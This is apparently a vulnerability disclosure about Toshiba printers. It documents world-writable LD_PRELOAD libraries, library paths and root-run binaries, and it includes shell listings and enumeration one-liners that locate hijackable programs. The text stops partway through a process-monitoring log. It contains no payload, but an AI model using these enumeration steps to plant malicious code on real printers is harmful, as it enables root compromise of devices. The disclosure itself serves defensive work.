bash-4.1# ls -la /home/SYSROM_SRC total 52 drwxr-xr-x 9 root root 4096 Mar 14 16:34 . drwxr-xr-x 4 root root 4096 Mar 14 16:28 .. lrwxrwxrwx 1 root root 30 Mar 14 16:28 CBAHttpServer -> /registration/al/CBAHttpServer lrwxrwxrwx 1 root root 20 Mar 14 16:27 HDBROOT -> /home/SYSROM_SRC/tmp drwxrwxrwx 7 root root 4096 Dec 6 00:46 NoBuildItems lrwxrwxrwx 1 root root 28 Mar 14 16:28 Resources -> /registration/data/Resources lrwxrwxrwx 1 root root 32 Mar 14 16:28 Resources_eBN -> /registration/data/Resources_eBN -rwxr-xr-x 1 root root 5614 Mar 14 16:28 Startup.sh lrwxrwxrwx 1 root root 40 Apr 6 2016 TopAccess -> /home/SYSROM_SRC/build/release/TopAccess lrwxrwxrwx 1 root root 28 Mar 14 16:28 TopAccessPy -> /registration/al/TopAccessPy lrwxrwxrwx 1 root root 23 Mar 14 16:28 WebAPI -> /registration/al/WebAPI lrwxrwxrwx 1 root root 25 Mar 14 16:28 WebPanel -> /registration/al/WebPanel lrwxrwxrwx 1 root trusted 17 Mar 14 16:34 bin -> build/release/bin drwxr-xr-x 5 root root 4096 Apr 6 2016 build drwxrwxrwx 2 root root 4096 Dec 6 01:13 config drwxrwxrwx 3 root root 4096 Mar 14 16:28 data lrwxrwxrwx 1 root root 17 Mar 14 16:34 etc -> build/release/etc -rwxr-xr-x 1 root root 1075 Mar 14 16:27 install_rip_ram.sh drwxrwxrwx 4 root root 4096 Mar 14 16:34 jobdata lrwxrwxrwx 1 root trusted 17 Mar 14 16:34 lib -> build/release/lib drwxrwxrwx 2 root root 4096 Dec 6 04:48 logs lrwxrwxrwx 1 root root 18 Mar 14 16:34 sbin -> build/release/sbin -rwxrwxrwx 1 root root 3492 Dec 8 2017 setenv lrwxrwxrwx 1 root root 19 Mar 14 16:34 share -> build/release/share drwxr-xr-x 3 root root 4096 Dec 6 04:48 var bash-4.1#
An attacker can place any malicious program inside /home/SYSROM_SRC/build/release/bin
or /home/SYSROM_SRC/build/release/sbin
and they will be executed before legit programs that are stored in the regular UNIX directories (/bin
, /usr/bin
, /sbin
, /usr/sbin
).
An attacker can remotely compromise any Toshiba printer.
Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure LD_PRELOAD variable. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
Toshiba printers are configured with an insecure LD_PRELOAD
variable:
bash-4.1# printenv | grep LD_PRELOAD
LD_PRELOAD=/ramdisk/al/libGetNameInfoInterface.so:/ramdisk/al/libGetAddtInfoInterface.so:
bash-4.1#
The $LD_PRELOAD
variable contains 2 libraries with insecure permissions (777) allowing any attacker to replace these libraries with malicious libraries that will be then executed:
/ramdisk/al/libGetNameInfoInterface.so
/ramdisk/al/libGetAddtInfoInterface.so
Checking the permissions of libraries defined in LD_PRELOAD:
bash-4.1# ls -la /ramdisk/al/libGetNameInfoInterface.so -rwxrwxrwx 1 root root 70813 Dec 6 02:02 /ramdisk/al/libGetNameInfoInterface.so bash-4.1# s -la /ramdisk/al/libGetAddtInfoInterface.so -rwxrwxrwx 1 root root 87311 Dec 6 02:02 /ramdisk/al/libGetAddtInfoInterface.so bash-4.1#
We can confirm these 2 libraries are loaded within programs inside the printers.
Using /proc/$PID/maps
, we can list the libraries loaded inside the programs: these libraries are loaded inside all the programs running as root and apache in the printers:
bash-4.1# cd /proc && for i in */; do cat $i/cmdline && echo && grep ramdisk $i/maps;done
/home/SYSROM_SRC/build/release/bin/nqnd
77788000-77797000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
77797000-77799000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
77799000-777a4000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
777a4000-777a6000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
/home/SYSROM_SRC/build/release/bin/nqcs
7776d000-7777c000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
7777c000-7777e000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
7777e000-77789000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
77789000-7778b000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
[...]
/usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
777b5000-777c4000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777c4000-777c6000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777c7000-777d2000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
777d2000-777d4000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
/usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
777b5000-777c4000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777c4000-777c6000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777c7000-777d2000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
777d2000-777d4000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
[...]
./alusermgr
776f6000-77705000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
77705000-77707000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
77707000-77712000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
77712000-77714000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
./allicensemgmt
777dc000-777eb000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777eb000-777ed000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777ed000-777f8000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
777f8000-777fa000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
[...]
An attacker can remotely compromise any Toshiba printer.
Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure LD_LIBRARY_PATH variable. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
Toshiba printers are configured with an insecure $LD_LIBRARY_PATH
variable:
bash-4.1# printenv|grep LD_LIBRARY_PATH
LD_LIBRARY_PATH=/home/SYSROM_SRC/build/release/lib:/mfp/lib:/home/SYSROM_SRC/NoBuildItems/common/lib:/home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/:/home/SYSROM_SRC/build/release/lib
bash-4.1#
The $LD_LIBRARY_PATH
variable contains 4 directories insecure permissions (777) allowing any attacker to replace these libraries with malicious libraries that will be then executed:
/home/SYSROM_SRC/build/release/lib
/mfp/lib
/home/SYSROM_SRC/NoBuildItems/common/lib
/home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/
We can confirm these directories have insecure permissions and/or the files stored inside these directories have insecure permissions as shown below:
Insecure permissions of /home/SYSROM_SRC/build/release/lib
:
bash-4.1# ls -la /home/SYSROM_SRC/build/release/lib total 391144 drwxrwxrwx 4 root root 65536 May 27 16:28 . drwxrwxrwx 19 root root 4096 May 27 16:28 .. lrwxrwxrwx 1 root root 38 Apr 6 2016 ImageMagick-6.3.3 -> ../../thirdparty/lib/ImageMagick-6.3.3 lrwxrwxrwx 1 root root 38 Mar 14 16:27 ImageMagick-6.7.5 -> ../../thirdparty/lib/ImageMagick-6.7.5 lrwxrwxrwx 1 root root 15 Mar 14 16:27 al8021XNMO.so -> al8021XNMO.so.0 -rwxrwxrwx 1 root root 223011 Dec 6 01:58 al8021XNMO.so.0 lrwxrwxrwx 1 root root 14 Mar 14 16:27 alDDNSNMO.so -> alDDNSNMO.so.0 -rwxrwxrwx 1 root root 171442 Dec 6 01:59 alDDNSNMO.so.0 lrwxrwxrwx 1 root root 13 Mar 14 16:27 alDNSNMO.so -> alDNSNMO.so.0 [...]
Insecure permissions of /mfp/lib
:
bash-4.1# ls -la /mfp/lib total 344308 drwxr-xr-x 2 root root 12288 May 27 16:28 . drwxr-xr-x 8 root root 4096 May 27 16:28 .. -rwxrwxrwx 1 root root 75 Jan 11 2013 DirectoryCopy.txt -rwxrwxrwx 1 root root 203 Jun 29 2017 SharedFiles.ini -rwxrwxrwx 1 root root 6210326 Jun 9 2022 laser.so -rwxrwxrwx 1 root root 11386849 Jun 9 2022 laserc1x.so -rwxrwxrwx 1 root root 298388 Dec 17 2017 libAbbyyZlib.so -rwxrwxrwx 1 root root 1518996 Dec 17 2017 libBarcode.so -rwxrwxrwx 1 root root 1045032 Dec 17 2017 libBusinessCard.Analyser.so [...]
Insecure permissions of /home/SYSROM_SRC/NoBuildItems/common/lib
:
bash-4.1# ls -la /home/SYSROM_SRC/NoBuildItems/common/lib total 49580 drwxrwxrwx 2 root root 4096 May 27 16:27 . drwxrwxrwx 4 root root 4096 Dec 6 00:21 .. -rwxrwxrwx 1 root root 624082 Dec 6 04:53 libCryptolib.so -rwxrwxrwx 1 root root 624082 Dec 6 04:53 libCryptolib.so.0 -rwxrwxrwx 1 root root 624082 Apr 20 2018 libCryptolib.so.0.0.0 -rwxrwxrwx 1 root root 22366570 Jun 4 2018 libFREmbed.so lrwxrwxrwx 1 root root 14 Mar 14 16:27 libasicif.so -> libasicif.so.1 lrwxrwxrwx 1 root root 16 Mar 14 16:27 libasicif.so.1 -> libasicif.so.1.0 -rwxrwxrwx 1 root root 12649 Apr 2 2016 libasicif.so.1.0 [...]
Insecure permissions of /home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/
:
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/ total 13036 drwxrwxrwx 2 510 510 4096 Sep 13 2019 . drwxrwxrwx 18 510 510 4096 Sep 13 2019 .. -rwxrwxrwx 1 510 510 84844 Aug 25 2016 libibusplatforminputcontextplugin.so -rwxrwxrwx 1 510 510 13252081 Sep 13 2019 libscreenkeyboardplugin.so bash-4.1#
On a side note, all the libraries have also insecure permissions in the previous listing.
An attacker can remotely compromise any Toshiba printer.
Some vendor-specific programs are running inside Toshiba printers. These programs run as root and have insecure permissions (777) allowing an attacker to replace these programs with malicious programs. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious program using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
Some programs are running as root, for example:
bash-4.1# ps auxw | grep root
root 1448 0.0 0.7 143680 21860 ? Sl 16:34 0:00 /home/SYSROM_SRC/build/release/bin/slapd -h ldap://127.0.0.1 -f /home/SYSROM_SRC/build/release/etc/openldap/slapd.conf -d 1
root 1460 0.0 0.2 387308 8036 ? Sl 16:34 0:02 /home/SYSROM_SRC/bin/mapper firstboot=0
[...]
root 1487 0.0 0.3 53496 10184 ? Sl 16:34 0:02 ./cissm -T 7 -d ssm.xml
root 1647 0.0 0.3 67568 9256 ? Sl 16:34 0:02 ./cischeduler -S ramdisk
root 1648 0.0 0.3 49452 11852 ? Sl 16:34 0:00 ./cisystemresourcemanager -T8
root 1650 0.0 0.3 50320 11112 ? S 16:34 0:00 ./pipeMN -T8
root 1652 0.0 0.3 47372 10708 ? S 16:34 0:00 ./cpe -T8
root 1653 0.0 0.2 35524 8888 ? S 16:34 0:00 ./dem -T8
root 1654 0.0 0.4 53448 12588 ? S 16:34 0:00 ./dim -T8
root 1655 0.1 0.4 96460 12128 ? Sl 16:34 0:18 ./alboserver -T5
[...]
Using this one-liner, it is possible to list the file corresponding to programs running inside the printers:
Programs running as root:
bash-4.1# for i in $(ps auxww | grep root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
Running with a different user:
for i in $(ps auxww | grep -v root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
These commands allow to list 106 vulnerable programs found inside the printers.
3 programs have been identified as vulnerable (running with a low-privileged user and that can be overwritten by any local or remote attacker):
Vulnerable programs not running as root:
bash-4.1# for i in $(ps auxww | grep -v root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
lrwxrwxrwx 1 root root 26 Mar 14 16:27 /home/SYSROM_SRC/bin/slpd -> ../../thirdparty/sbin/slpd
-rwxrwxrwx 1 apache messagebus 656546 Dec 6 01:34 /usr/local/ebx/bin/httpd
-rwxrwxrwx 1 apache messagebus 665612 Dec 6 01:34 /usr/local/ebx/httpd_worker/bin/httpd_worker
bash-4.1#
When following the link to slpd, we can confirm it is also vulnerable:
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/sbin/slpd
-rwxrwxrwx 1 root root 106023 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/sbin/slpd
bash-4.1#
103 programs have been identified as vulnerable (running as root and that can be overwritten by any local or remote attacker):
The analysis is shown below.
Vulnerable programs running as root, with insecure permissions:
bash-4.1# for i in $(ps auxww | grep root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done -rwxrwxrwx 1 root root 562669 Dec 6 04:10 /home/SYSROM_SRC/build/release/bin/agent_faxreceive -rwxrwxrwx 1 root root 608397 Dec 6 04:11 /home/SYSROM_SRC/build/release/bin/agent_faxtransmit -rwxrwxrwx 1 root root 561916 Dec 6 04:38 /home/SYSROM_SRC/build/release/bin/agent_ipfaxreceive -rwxrwxrwx 1 root root 594505 Dec 6 04:38 /home/SYSROM_SRC/build/release/bin/agent_ipfaxtransmit -rwxrwxrwx 1 root root 572434 Dec 6 04:11 /home/SYSROM_SRC/build/release/bin/agent_print -rwxrwxrwx 1 root root 556369 Dec 6 04:10 /home/SYSROM_SRC/build/release/bin/agent_rip -rwxrwxrwx 1 root root 557372 Dec 6 04:10 /home/SYSROM_SRC/build/release/bin/agent_scan -rwxrwxrwx 1 root root 2191621 Dec 6 02:13 /home/SYSROM_SRC/build/release/bin/alAddressBookMgr -rwxrwxrwx 1 root root 939045 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/alCloning -rwxrwxrwx 1 root root 1019576 Dec 6 02:20 /home/SYSROM_SRC/build/release/bin/alExportImport -rwxrwxrwx 1 root root 1354094 Dec 6 02:15 /home/SYSROM_SRC/build/release/bin/alLogRetriever -rwxrwxrwx 1 root root 734343 Dec 6 02:21 /home/SYSROM_SRC/build/release/bin/alLogmanager -rwxrwxrwx 1 root root 241886 Dec 6 02:24 /home/SYSROM_SRC/build/release/bin/alPanelStartLEDHandler -rwxrwxrwx 1 root root 2282226 Dec 6 02:24 /home/SYSROM_SRC/build/release/bin/alPanelUIMessageHandler -rwxrwxrwx 1 root root 211250 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/alServiceUIPlugin -rwxrwxrwx 1 root root 6104526 Dec 6 03:51 /home/SYSROM_SRC/build/release/bin/alUiFrameWork -rwxrwxrwx 1 root root 673942 Dec 6 02:20 /home/SYSROM_SRC/build/release/bin/alViewPlugin -rwxrwxrwx 1 root root 2896387 Dec 6 02:12 /home/SYSROM_SRC/build/release/bin/alaccountmgr -rwxrwxrwx 1 root root 2917038 Dec 6 02:26 /home/SYSROM_SRC/build/release/bin/alappmanager -rwxrwxrwx 1 root root 1055271 Dec 6 01:49 /home/SYSROM_SRC/build/release/bin/alboserver -rwxrwxrwx 1 root root 322981 Dec 6 02:08 /home/SYSROM_SRC/build/release/bin/alcbamanager -rwxrwxrwx 1 root root 2528851 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/aldevauthmgmtplugin -rwxrwxrwx 1 root root 4386856 Dec 6 03:30 /home/SYSROM_SRC/build/release/bin/aldeviceconfigplugin -rwxrwxrwx 1 root root 4300169 Dec 6 03:25 /home/SYSROM_SRC/build/release/bin/aldeviceserviceplugin -rwxrwxrwx 1 root root 1915456 Dec 6 02:14 /home/SYSROM_SRC/build/release/bin/aleFilingmgr -rwxrwxrwx 1 root root 580229 Dec 6 01:50 /home/SYSROM_SRC/build/release/bin/alfilestoragem -rwxrwxrwx 1 root root 509900 Dec 6 02:21 /home/SYSROM_SRC/build/release/bin/algrpmgr -rwxrwxrwx 1 root root 441641 Dec 6 02:24 /home/SYSROM_SRC/build/release/bin/alhddalertmgr -rwxrwxrwx 1 root root 696894 Dec 6 02:24 /home/SYSROM_SRC/build/release/bin/alhddbackuprestore -rwxrwxrwx 1 root root 829606 Dec 6 02:16 /home/SYSROM_SRC/build/release/bin/alhomedatamgr -rwxrwxrwx 1 root root 606628 Dec 6 03:28 /home/SYSROM_SRC/build/release/bin/alifaxreceive -rwxrwxrwx 1 root root 162074 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/alintegritychkmgr -rwxrwxrwx 1 root root 4414769 Dec 6 02:08 /home/SYSROM_SRC/build/release/bin/aljobcontroller -rwxrwxrwx 1 root root 2832921 Dec 6 02:15 /home/SYSROM_SRC/build/release/bin/aljobtemplatemgr -rwxrwxrwx 1 root root 434559 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/allicensemgmt -rwxrwxrwx 1 root root 1258130 Dec 6 02:15 /home/SYSROM_SRC/build/release/bin/almailboxapplication -rwxrwxrwx 1 root root 4674491 Dec 6 03:32 /home/SYSROM_SRC/build/release/bin/almaintenanceplugin -rwxrwxrwx 1 root root 2339610 Dec 6 02:25 /home/SYSROM_SRC/build/release/bin/alnfcplugin -rwxrwxrwx 1 root root 743285 Dec 6 01:53 /home/SYSROM_SRC/build/release/bin/alnsm -rwxrwxrwx 1 root root 740586 Dec 6 03:45 /home/SYSROM_SRC/build/release/bin/alpanel -rwxrwxrwx 1 root root 292667 Dec 6 02:21 /home/SYSROM_SRC/build/release/bin/alpdlfiltermanager -rwxrwxrwx 1 root root 387749 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/alpresentationresourcemgr -rwxrwxrwx 1 root root 1314049 Dec 6 01:52 /home/SYSROM_SRC/build/release/bin/alprintmn -rwxrwxrwx 1 root root 2360596 Dec 6 03:22 /home/SYSROM_SRC/build/release/bin/alreportmanager -rwxrwxrwx 1 root root 595735 Dec 6 03:21 /home/SYSROM_SRC/build/release/bin/alreportsmsgr -rwxrwxrwx 1 root root 1367678 Dec 6 02:19 /home/SYSROM_SRC/build/release/bin/alrestrictionmode -rwxrwxrwx 1 root root 1253012 Dec 6 02:21 /home/SYSROM_SRC/build/release/bin/alrolemgr -rwxrwxrwx 1 root root 2272202 Dec 6 02:18 /home/SYSROM_SRC/build/release/bin/alsecurityconfiguration -rwxrwxrwx 1 root root 972621 Dec 6 03:52 /home/SYSROM_SRC/build/release/bin/alsharedprintDp -rwxrwxrwx 1 root root 1060254 Dec 6 02:13 /home/SYSROM_SRC/build/release/bin/alsoftwareupdateclient -rwxrwxrwx 1 root root 1711439 Dec 6 02:25 /home/SYSROM_SRC/build/release/bin/alulm -rwxrwxrwx 1 root root 612467 Dec 6 02:18 /home/SYSROM_SRC/build/release/bin/alusbmscapplication -rwxrwxrwx 1 root root 3759736 Dec 6 02:17 /home/SYSROM_SRC/build/release/bin/aluserAuthMgr -rwxrwxrwx 1 root root 2874311 Dec 6 02:20 /home/SYSROM_SRC/build/release/bin/alusermgr -rwxrwxrwx 1 root root 899734 Dec 6 01:53 /home/SYSROM_SRC/build/release/bin/alwsdiscovery -rwxrwxrwx 1 root root 809391 Dec 6 01:53 /home/SYSROM_SRC/build/release/bin/alwsmex -rwxrwxrwx 1 root root 3782642 Dec 6 01:55 /home/SYSROM_SRC/build/release/bin/alwsprint -rwxrwxrwx 1 root root 4271522 Dec 6 01:56 /home/SYSROM_SRC/build/release/bin/alwsscanner -rwxrwxrwx 1 root root 355919 Dec 6 03:53 /home/SYSROM_SRC/build/release/bin/armn -rwxrwxrwx 1 root root 18113 Dec 6 01:42 /home/SYSROM_SRC/build/release/bin/cipollproc -rwxrwxrwx 1 root root 71587 Dec 6 01:42 /home/SYSROM_SRC/build/release/bin/ciprioritymanager -rwxrwxrwx 1 root root 445362 Dec 6 01:42 /home/SYSROM_SRC/build/release/bin/cischeduler -rwxrwxrwx 1 root root 532898 Dec 6 01:42 /home/SYSROM_SRC/build/release/bin/cissm -rwxrwxrwx 1 root root 508004 Dec 6 01:48 /home/SYSROM_SRC/build/release/bin/cisystemresourcemanager -rwxrwxrwx 1 root root 501163 Dec 6 04:16 /home/SYSROM_SRC/build/release/bin/cpe -rwxrwxrwx 1 root root 1016124 Dec 6 04:39 /home/SYSROM_SRC/build/release/bin/de_ipfax -rwxrwxrwx 1 root root 303779 Dec 6 04:16 /home/SYSROM_SRC/build/release/bin/dem -rwxrwxrwx 1 root root 622110 Dec 6 04:16 /home/SYSROM_SRC/build/release/bin/dim -rwxrwxrwx 1 root root 12229927 Dec 6 04:44 /home/SYSROM_SRC/build/release/bin/ebx_dl -rwxrwxrwx 1 root root 1649127 Dec 6 04:02 /home/SYSROM_SRC/build/release/bin/informationservice -rwxrwxrwx 1 root root 1257189 Dec 6 04:01 /home/SYSROM_SRC/build/release/bin/notificationservice -rwxrwxrwx 1 root root 426167 Dec 6 04:14 /home/SYSROM_SRC/build/release/bin/pipeMN -rwxrwxrwx 1 root root 269419 Dec 6 04:02 /home/SYSROM_SRC/build/release/bin/sim -rwxrwxrwx 1 root root 258577 Dec 6 04:02 /home/SYSROM_SRC/build/release/bin/sljobmanagement -rwxrwxrwx 1 root root 32089 Mar 14 16:28 /home/SYSROM_SRC/build/release/bin/ssdktimestamp -rwxrwxrwx 1 root root 5986687 Dec 6 04:07 /home/SYSROM_SRC/build/release/bin/wfpc -rwxrwxrwx 1 root root 78627 Dec 6 02:00 /home/SYSROM_SRC/bin/alllmnr -rwxrwxrwx 1 root root 68223 Dec 6 01:57 /home/SYSROM_SRC/bin/dnsValidateDaemon -rwxrwxrwx 1 root root 104184 Dec 6 01:48 /home/SYSROM_SRC/bin/eBXDebugLogUtility -rwxrwxrwx 1 root root 76674 Dec 6 02:01 /home/SYSROM_SRC/bin/ipv6_daemon -rwxrwxrwx 1 root root 28318 Dec 6 01:40 /home/SYSROM_SRC/bin/mapper -rwxrwxrwx 1 root root 167219 Dec 6 01:48 /home/SYSROM_SRC/bin/syscallerr -rwxrwxrwx 1 root root 316382 Dec 6 02:03 /home/SYSROM_SRC/build/release/bin/aleSCL -rwxrwxrwx 1 root root 21142 Dec 6 02:01 /home/SYSROM_SRC/build/release/bin/alftpprintd -rwxrwxrwx 1 root root 243145 Dec 6 01:53 /home/SYSROM_SRC/build/release/bin/alhp9100 -rwxrwxrwx 1 root root 84257 Dec 6 01:56 /home/SYSROM_SRC/build/release/bin/allld2d -rwxrwxrwx 1 root root 270934 Dec 6 01:53 /home/SYSROM_SRC/build/release/bin/allprng -rwxrwxrwx 1 root root 389522 Dec 6 02:02 /home/SYSROM_SRC/build/release/bin/alnetefiRemoteifsr -rwxrwxrwx 1 root root 15176259 Dec 6 03:39 /home/SYSROM_SRC/build/release/bin/alstage2 -rwxrwxrwx 1 root root 126466 Dec 6 02:01 /home/SYSROM_SRC/build/release/bin/alusbPrint -rwxrwxrwx 1 root root 1419229 Dec 6 02:01 /home/SYSROM_SRC/build/release/bin/faxmilter -rwxrwxrwx 1 root root 21638 Dec 6 03:28 /home/SYSROM_SRC/build/release/bin/snmp_watchdog -rwxrwxrwx 1 apache messagebus 656546 Dec 6 01:34 /usr/local/ebx/bin/httpd -rwxrwxrwx 1 apache messagebus 665612 Dec 6 01:34 /usr/local/ebx/httpd_worker/bin/httpd_worker
The previous command lists symbolic links that we can analyze, and we can confirm they are also vulnerable due to insecure permissions:
lrwxrwxrwx 1 root root 35 Mar 14 16:27 /home/SYSROM_SRC/bin/dibbler-client -> ../../thirdparty/bin/dibbler-client lrwxrwxrwx 1 root root 26 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/alipp -> ../../thirdparty/bin/alipp lrwxrwxrwx 1 root root 39 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/mDNSResponderPosix -> ../../thirdparty/bin/mDNSResponderPosix lrwxrwxrwx 1 root root 25 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/nqcs -> ../../thirdparty/bin/nqcs lrwxrwxrwx 1 root root 25 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/nqnd -> ../../thirdparty/bin/nqnd lrwxrwxrwx 1 root root 30 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/slapd -> ../../thirdparty/libexec/slapd lrwxrwxrwx 1 root root 27 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/snmpd -> ../../thirdparty/sbin/snmpd lrwxrwxrwx 1 root root 27 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/vsftpd -> ../../thirdparty/bin/vsftpd lrwxrwxrwx 1 root root 27 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/python -> ../../thirdparty/bin/python bash-4.1# for i in dibbler-client alipp mDNSResponderPosix nqcs nqnd vsftpd python; do ls -la /home/SYSROM_SRC/build/thirdparty/bin/$i;done -rwxrwxrwx 1 root root 11339780 Dec 6 01:38 /home/SYSROM_SRC/build/thirdparty/bin/dibbler-client -rwxrwxrwx 1 apache messagebus 653763 Dec 6 01:40 /home/SYSROM_SRC/build/thirdparty/bin/alipp -rwxrwxrwx 1 root root 429709 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/bin/mDNSResponderPosix -rwxrwxrwx 1 apache messagebus 1342015 Dec 6 01:35 /home/SYSROM_SRC/build/thirdparty/bin/nqcs -rwxrwxrwx 1 apache messagebus 501752 Dec 6 01:35 /home/SYSROM_SRC/build/thirdparty/bin/nqnd -rwxrwxrwx 1 root root 232030 Dec 6 01:34 /home/SYSROM_SRC/build/thirdparty/bin/vsftpd lrwxrwxrwx 1 root root 7 Mar 14 16:27 /home/SYSROM_SRC/build/thirdparty/bin/python -> python3 bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/libexec/slapd -rwxrwxrwx 1 root root 1709140 Dec 6 01:34 /home/SYSROM_SRC/build/thirdparty/libexec/slapd bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/sbin/snmpd -rwxrwxrwx 1 apache messagebus 41801 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/sbin/snmpd bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/python3 lrwxrwxrwx 1 root root 28 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/python3 -> ../../thirdparty/bin/python3 bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/bin/python3 lrwxrwxrwx 1 root root 9 Mar 14 16:27 /home/SYSROM_SRC/build/thirdparty/bin/python3 -> python3.5 bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/bin/python3.5 -rwxrwxrwx 1 root root 20997 Dec 6 01:28 /home/SYSROM_SRC/build/thirdparty/bin/python3.5 bash-4.1#
An attacker can remotely compromise any Toshiba printer.
The programs can be replaced by malicious programs by any local or remote attacker.
Some vendor-specific programs are running inside Toshiba printers. These programs run as root and use code from libraries that have insecure permissions (777) allowing an attacker to replace these libraries with malicious ones. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
For example, the /home/SYSROM_SRC/bin/syscallerr
program runs regularly as root:
/home/SYSROM_SRC/bin/syscallerr
:Output of pspy32
, where we can see /home/SYSROM_SRC/bin/syscallerr
running regularly as root:
2023/05/27 16:13:35 CMD: UID=0 PID=31370 | sh -c du -cb /work/log/corefiles/core.* 2> /dev/null | grep total | awk '{print $1}' 2023/05/27 16:13:35 CMD: UID=0 PID=31373 | sh -c du -cb /work/log/corefiles/core.* 2> /dev/null | grep total | awk '{print $1}' 2023/05/27 16:13:35 CMD: UID=0 PID=31372 | grep total 2023/05/27 16:13:35 CMD: UID=0 PID=31371 | sh -c du -cb /work/log/corefiles/core.* 2> /dev/null | grep total | awk '{print $1}' 2023/05/27 16:13:35 CMD: UID=0 PID=31374 | /home/SYSROM_SRC/bin/syscallerr 2023/05/27 16:13:35 CMD: UID=0 PID=31376 | awk {print} 2023/05/27 16:13:35 CMD: UID=0 PID=31375 | 2023/05/27 16:13:35 CMD: UID=0 PID=31377 | sh -c ps -e | grep ebx_dl 2023/05/27 16:13:35 CMD: UID=0 PID=31379 | grep ebx_dl 2023/05/27 16:13:35 CMD: UID=0 PID=31378 | ps -e 2023/05/27 16:13:35 CMD: UID=0 PID=31380 | /home/SYSROM_SRC/bin/syscallerr 2023/05/27 16:13:35 CMD: UID=0 PID=31383 | sh -c ps -e | grep ebx_dl | awk '{print $5}' 2023/05/27 16:13:35 CMD: UID=0 PID=31382 | 2023/05/27 16:13:35 CMD: UID=0 PID=31381 | ps -e 2023/05/27 16:13:35 CMD: UID=0 PID=31384 | sh -c ps -e | grep cissm 2023/05/27 16:13:35 CMD: UID=0 PID=31386 | grep cissm 2023/05/27 16:13:35 CMD: UID=0 PID=31385 | ps -e 2023/05/27 